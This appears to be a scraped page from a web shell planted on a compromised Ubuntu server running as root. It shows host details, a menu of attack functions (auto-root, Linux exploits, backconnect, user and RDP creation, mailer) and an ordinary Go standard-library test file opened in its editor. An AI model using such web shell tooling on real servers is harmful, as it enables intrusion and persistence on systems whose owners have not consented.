Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
strings /
[ HOME SHELL ]
Name
Size
Permission
Action
builder.go
3.48
KB
-rw-r--r--
builder_test.go
7
KB
-rw-r--r--
compare.go
1.06
KB
-rw-r--r--
compare_test.go
2.75
KB
-rw-r--r--
example_test.go
8.71
KB
-rw-r--r--
export_test.go
1.08
KB
-rw-r--r--
reader.go
3.54
KB
-rw-r--r--
reader_test.go
5.9
KB
-rw-r--r--
replace.go
14.44
KB
-rw-r--r--
replace_test.go
14.08
KB
-rw-r--r--
search.go
4.19
KB
-rw-r--r--
search_test.go
1.88
KB
-rw-r--r--
strings.go
27.19
KB
-rw-r--r--
strings_test.go
47.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : search_test.go
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package strings_test import ( "reflect" . "strings" "testing" ) func TestFinderNext(t *testing.T) { testCases := []struct { pat, text string index int }{ {"", "", 0}, {"", "abc", 0}, {"abc", "", -1}, {"abc", "abc", 0}, {"d", "abcdefg", 3}, {"nan", "banana", 2}, {"pan", "anpanman", 2}, {"nnaaman", "anpanmanam", -1}, {"abcd", "abc", -1}, {"abcd", "bcd", -1}, {"bcd", "abcd", 1}, {"abc", "acca", -1}, {"aa", "aaa", 0}, {"baa", "aaaaa", -1}, {"at that", "which finally halts. at that point", 22}, } for _, tc := range testCases { got := StringFind(tc.pat, tc.text) want := tc.index if got != want { t.Errorf("stringFind(%q, %q) got %d, want %d\n", tc.pat, tc.text, got, want) } } } func TestFinderCreation(t *testing.T) { testCases := []struct { pattern string bad [256]int suf []int }{ { "abc", [256]int{'a': 2, 'b': 1, 'c': 3}, []int{5, 4, 1}, }, { "mississi", [256]int{'i': 3, 'm': 7, 's': 1}, []int{15, 14, 13, 7, 11, 10, 7, 1}, }, // From https://www.cs.utexas.edu/~moore/publications/fstrpos.pdf { "abcxxxabc", [256]int{'a': 2, 'b': 1, 'c': 6, 'x': 3}, []int{14, 13, 12, 11, 10, 9, 11, 10, 1}, }, { "abyxcdeyx", [256]int{'a': 8, 'b': 7, 'c': 4, 'd': 3, 'e': 2, 'y': 1, 'x': 5}, []int{17, 16, 15, 14, 13, 12, 7, 10, 1}, }, } for _, tc := range testCases { bad, good := DumpTables(tc.pattern) for i, got := range bad { want := tc.bad[i] if want == 0 { want = len(tc.pattern) } if got != want { t.Errorf("boyerMoore(%q) bad['%c']: got %d want %d", tc.pattern, i, got, want) } } if !reflect.DeepEqual(good, tc.suf) { t.Errorf("boyerMoore(%q) got %v want %v", tc.pattern, good, tc.suf) } } }
Close